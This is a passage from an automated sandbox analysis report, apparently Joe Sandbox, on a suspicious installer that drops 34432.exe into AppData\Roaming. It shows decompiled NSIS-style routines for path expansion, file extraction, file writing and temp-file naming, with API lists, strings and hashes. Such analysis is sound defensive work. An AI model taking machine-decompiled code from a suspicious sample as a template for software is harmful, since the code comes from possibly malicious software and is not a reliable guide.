C-Code - Quality: 72%

			E0040657A(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x433edc - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x434f38 + _t44 * 2;
				_t45 = 0x432ea0;
				_t108 = 0x432ea0;
				if(_a4 >= 0x432ea0 && _a4 - 0x432ea0 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E0040653D(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E0040657A(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x432ea0;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x436000;
								E0040653D(_t108, (_t78 << 0xb) + 0x436000);
							} else {
								E00406484(_t108,  *0x434f08);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004067C4(_t108);
							}
							goto L38;
						}
						if( *0x434f84 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x434f04;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x434f08,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x434f08,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108); // executed
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E0040640B( *0x434f38, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x434f38 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E0040657A(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x0040657a
0x0040657a
0x0040657a
0x00406580
0x00406585
0x00406596
0x00406596
0x0040659e
0x0040659f
0x004065a0
0x004065a1
0x004065a4
0x004065ac
0x004065ae
0x004065bf
0x004065c2
0x004065c2
0x004065c6
0x004065cc
0x004065cf
0x004067aa
0x004067aa
0x004067b5
0x004067c1
0x004067c1
0x00000000
0x004065d5
0x004065da
0x004065ef
0x004065f0
0x004065f6
0x00406788
0x00406796
0x00406799
0x00406799
0x0040678a
0x0040678d
0x00406790
0x00406792
0x00406792
0x0040679b
0x0040679b
0x004067a1
0x004067a4
0x004065d7
0x00000000
0x004065d7
0x00000000
0x004067a4
0x004065fc
0x004065ff
0x0040660e
0x00406615
0x00406621
0x00406624
0x00406627
0x00406628
0x0040662d
0x00406633
0x00406636
0x00406639
0x0040672c
0x00406731
0x00406764
0x00406769
0x0040676e
0x00406773
0x00406773
0x00406778
0x0040677e
0x00406781
0x00000000
0x00406781
0x00406733
0x00406736
0x00406739
0x0040674e
0x00406755
0x0040673b
0x00406742
0x00406742
0x0040675d
0x00406760
0x00406724
0x00406725
0x00406725
0x00000000
0x00406760
0x00406646
0x0040664a
0x0040664a
0x0040664b
0x0040664d
0x0040668a
0x0040668d
0x0040669d
0x004066a0
0x004066a8
0x004066ae
0x004066ae
0x00406709
0x00406709
0x0040670b
0x00000000
0x00000000
0x004066b2
0x004066b7
0x004066b8
0x004066ba
0x004066d1
0x004066df
0x004066e5
0x004066e7
0x00406705
0x00406705
0x00406705
0x00000000
0x00406705
0x004066ed
0x004066f6
0x004066f9
0x004066ff
0x00406703
0x00000000
0x00000000
0x00000000
0x00406703
0x004066cb
0x004066cd
0x004066cf
0x00000000
0x00000000
0x00000000
0x004066cf
0x00000000
0x00406709
0x00406695
0x00000000
0x0040664f
0x0040666d
0x00406676
0x00406713
0x00406717
0x0040671f
0x0040671f
0x00000000
0x00406717
0x00406680
0x0040670d
0x00406711
0x00000000
0x00000000
0x00000000
0x00406711
0x0040664d
0x00000000
0x004065da

APIs

GetSystemDirectoryW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,00000400), ref: 00406695
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,00000400,00000000,0042C248,?,004055D6,0042C248,00000000,00000000,?,76CDEA30), ref: 004066A8
lstrcatW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
lstrlenW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,00000000,0042C248,?,004055D6,0042C248,00000000), ref: 00406779

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406719
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406663
C:\Users\user\AppData\Roaming\34432.exe, xrefs: 004065A4, 00406657, 0040665E, 00406662, 0040667F, 00406694, 004066A7, 004066BC, 004066E9, 0040671E, 00406724, 00406741, 00406754, 00406772, 00406778, 00406781, 004067B7

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: C:\Users\user\AppData\Roaming\34432.exe$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-3546267139
Opcode ID: c06be4e573324e40d3b735838f303e9f3324c9f348604da111048893f4ce4833
Instruction ID: 685928b229c5d1fd60d609eb920d771e11fa4d776b5b66b0bad6c944a0f90ddf
Opcode Fuzzy Hash: c06be4e573324e40d3b735838f303e9f3324c9f348604da111048893f4ce4833
Instruction Fuzzy Hash: 1D61D131900205EADB209F64DD80BAE77A5EF54318F22813BE907B72D0D77D99A1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004032B4 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004032B4(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				short _v152;
				void* _t65;
				long _t70;
				intOrPtr _t75;
				long _t76;
				void* _t78;
				int _t88;
				intOrPtr _t92;
				intOrPtr _t95;
				long _t96;
				signed int _t97;
				int _t98;
				int _t99;
				void* _t101;
				void* _t102;

				_t97 = _a16;
				_t92 = _a12;
				_v12 = _t97;
				if(_t92 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t92;
				if(_t92 == 0) {
					_v16 = 0x422a20;
				}
				_t62 = _a4;
				if(_a4 >= 0) {
					E004034E5( *0x434f58 + _t62);
				}
				if(E004034CF( &_a16, 4) == 0) {
					L41:
					_push(0xfffffffd);
					goto L42;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t92 != 0) {
							if(_a16 < _t97) {
								_t97 = _a16;
							}
							if(E004034CF(_t92, _t97) != 0) {
								_v8 = _t97;
								L44:
								return _v8;
							} else {
								goto L41;
							}
						}
						if(_a16 <= _t92) {
							goto L44;
						}
						_t88 = _v12;
						while(1) {
							_t98 = _a16;
							if(_a16 >= _t88) {
								_t98 = _t88;
							}
							if(E004034CF(0x41ea20, _t98) == 0) {
								goto L41;
							}
							if(E004060DF(_a8, 0x41ea20, _t98) == 0) {
								L28:
								_push(0xfffffffe);
								L42:
								_pop(_t65);
								return _t65;
							}
							_v8 = _v8 + _t98;
							_a16 = _a16 - _t98;
							if(_a16 > 0) {
								continue;
							}
							goto L44;
						}
						goto L41;
					}
					_t70 = GetTickCount();
					 *0x40d384 =  *0x40d384 & 0x00000000;
					 *0x40d380 =  *0x40d380 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t70;
					 *0x40ce68 = 8;
					 *0x416a10 = 0x40ea08;
					 *0x416a0c = 0x40ea08;
					 *0x416a08 = 0x416a08;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L44;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E004034CF(0x41ea20, _t99) == 0) {
							goto L41;
						}
						_a16 = _a16 - _t99;
						 *0x40ce58 = 0x41ea20;
						 *0x40ce5c = _t99;
						while(1) {
							_t95 = _v16;
							 *0x40ce60 = _t95;
							 *0x40ce64 = _v12;
							_t75 = E00406A65(0x40ce58);
							_v24 = _t75;
							if(_t75 < 0) {
								break;
							}
							_t101 =  *0x40ce60 - _t95;
							_t76 = GetTickCount();
							_t96 = _t76;
							if(( *0x434fb4 & 0x00000001) != 0 && (_t76 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E0040559F(0,  &_v152);
								_v20 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L44;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_v16 =  *0x40ce60;
									L23:
									if(_v24 != 1) {
										continue;
									}
									goto L44;
								}
								_t78 = E004060DF(_a8, _v16, _t101); // executed
								if(_t78 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t101;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L42;
					}
					goto L41;
				}
			}

0x004032bf
0x004032c3
0x004032c6
0x004032cb
0x004032cd
0x004032cd
0x004032d4
0x004032d8
0x004032dd
0x004032df
0x004032df
0x004032e6
0x004032eb
0x004032f6
0x004032f6
0x00403308
0x004034bd
0x004034bd
0x00000000
0x0040330e
0x00403312
0x0040346a
0x004034ad
0x004034af
0x004034af
0x004034bb
0x004034c2
0x004034c5
0x00000000
0x00000000
0x00000000
0x00000000
0x004034bb
0x0040346f
0x00000000
0x00000000
0x00403471
0x00403474
0x00403477
0x0040347a
0x0040347c
0x0040347c
0x0040348c
0x00000000
0x00000000
0x0040349a
0x00403464
0x00403464
0x004034bf
0x004034bf
0x00000000
0x004034bf
0x0040349c
0x0040349f
0x004034a6
0x00000000
0x00000000
0x00000000
0x004034a8
0x00000000
0x00403474
0x0040331e
0x00403320
0x00403327
0x0040332e
0x0040332e
0x00403335
0x0040333d
0x00403347
0x0040334c
0x00403354
0x0040335e
0x00403361
0x00000000
0x00000000
0x00000000
0x00000000
0x00403367
0x00403367
0x00403367
0x0040336f
0x00403371
0x00403371
0x00403382
0x00000000
0x00000000
0x00403388
0x0040338b
0x00403391
0x00403397
0x00403397
0x004033a2
0x004033a8
0x004033ad
0x004033b4
0x004033b7
0x00000000
0x00000000
0x004033c3
0x004033c5
0x004033ce
0x004033d0
0x00403401
0x00403407
0x00403413
0x00403418
0x00403418
0x0040341d
0x00403458
0x00000000
0x00000000
0x00000000
0x0040341f
0x00403423
0x0040343f
0x00403442
0x00403445
0x00403448
0x0040344c
0x00000000
0x00000000
0x00000000
0x00403452
0x0040342c
0x00403433
0x00000000
0x00000000
0x00403435
0x00000000
0x00403435
0x0040341d
0x00403460
0x00000000
0x00403460
0x00000000
0x00403367

APIs

GetTickCount.KERNEL32 ref: 0040331E
GetTickCount.KERNEL32 ref: 004033C5
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033EE
wsprintfW.USER32 ref: 00403401

Strings

... %d%%, xrefs: 004033FB
}8@, xrefs: 004032B4
*B, xrefs: 004032DF
A, xrefs: 00403374
A, xrefs: 0040347E

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ A$ A$... %d%%$}8@
API String ID: 551687249-3029848762
Opcode ID: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
Instruction ID: 54ab186c05730647c672001b6e56d135182c7b51176e178f40f708a1e84a381e
Opcode Fuzzy Hash: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
Instruction Fuzzy Hash: E251BD31810219EBCF11DF65DA44B9E7BB8AF05756F10827BE804BB2C1D7789E44CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405E83( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"C:\\Users";
				if(_t35 == 0) {
					lstrcatW(E00405E0C(E0040653D(_t81, 0x441000)), ??);
				} else {
					E0040653D();
				}
				E004067C4(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E00406873(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406008(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E0040602D(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E0040559F(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x434f88;
						goto L32;
					} else {
						E0040653D(0x40b5f0, _t83);
						E0040653D(_t83, _t81);
						E0040657A(_t77, _t81, _t83, "C:\Users\jones\AppData\Roaming",  *((intOrPtr*)(_t86 - 0x1c)));
						E0040653D(_t83, 0x40b5f0);
						_t64 = E00405B9D("C:\Users\jones\AppData\Roaming",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x434f88 =  &( *0x434f88->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E0040559F();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E0040559F(0xffffffea,  *(_t86 - 8));
				 *0x434fb4 =  *0x434fb4 + 1;
				_t45 = E004032B4( *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x434fb4 =  *0x434fb4 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E0040657A(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E0040657A(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405B9D();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,C:\Users\user\AppData\Roaming\34432.exe,C:\Users\user\AppData\Roaming\34432.exe,00000000,00000000,C:\Users\user\AppData\Roaming\34432.exe,00441000,?,?,00000031), ref: 004017D5

Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A

Part of subcall function 0040559F: lstrlenW.KERNEL32(0042C248,00000000,?,76CDEA30,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,0042C248,00000000,?,76CDEA30,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
Part of subcall function 0040559F: lstrcatW.KERNEL32(0042C248,00403418), ref: 004055FA
Part of subcall function 0040559F: SetWindowTextW.USER32(0042C248,0042C248), ref: 0040560C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Strings

C:\Users\user\AppData\Roaming, xrefs: 00401835, 00401851
C:\Users\user\AppData\Roaming\34432.exe, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Roaming$C:\Users\user\AppData\Roaming\34432.exe
API String ID: 1941528284-1523479004
Opcode ID: 3dea8835135b3834e701fe10f85874e2ee0770673dec5a47873efbfea76d0da0
Instruction ID: 1e3f5e060805a06bac003644be00ba5f3fef1f2c353f2d3d357c0a6c5ca497fd
Opcode Fuzzy Hash: 3dea8835135b3834e701fe10f85874e2ee0770673dec5a47873efbfea76d0da0
Instruction Fuzzy Hash: F4419371900108BACF11BFB5DD85DAE7A79EF45768B20423FF422B10E2D63C8A91966D

Uniqueness

Uniqueness Score: -1.00%

Function 0040689A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040689A(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004068b1
0x004068ba
0x004068bc
0x004068bc
0x004068c0
0x004068d3
0x004068cd
0x004068cd
0x004068cd
0x004068ec
0x00406900
0x00406907

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
wsprintfW.USER32 ref: 004068EC
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900

Strings

\, xrefs: 004068C2
UXTHEME, xrefs: 004068A3
%s%S.dll, xrefs: 004068E6

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: 21628a1c63ce2f140fdd4d546058f3b0ba52bdb51e88dcb335987c0e659eada7
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: D0F0F671511119ABDB10BB64DD0DF9B376CBF00305F10847AA646F10D0EB7CDA68CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040605C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040605C(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a57c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00406062
0x00406068
0x00406069
0x00406069
0x0040606e
0x0040606f
0x00406072
0x00406077
0x0040607a
0x00406084
0x00406091
0x00406095
0x0040609d
0x00000000
0x00000000
0x004060a1
0x00000000
0x004060a3
0x004060a3
0x004060a3
0x004060a6
0x004060a9
0x004060a9
0x004060ac
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040607A
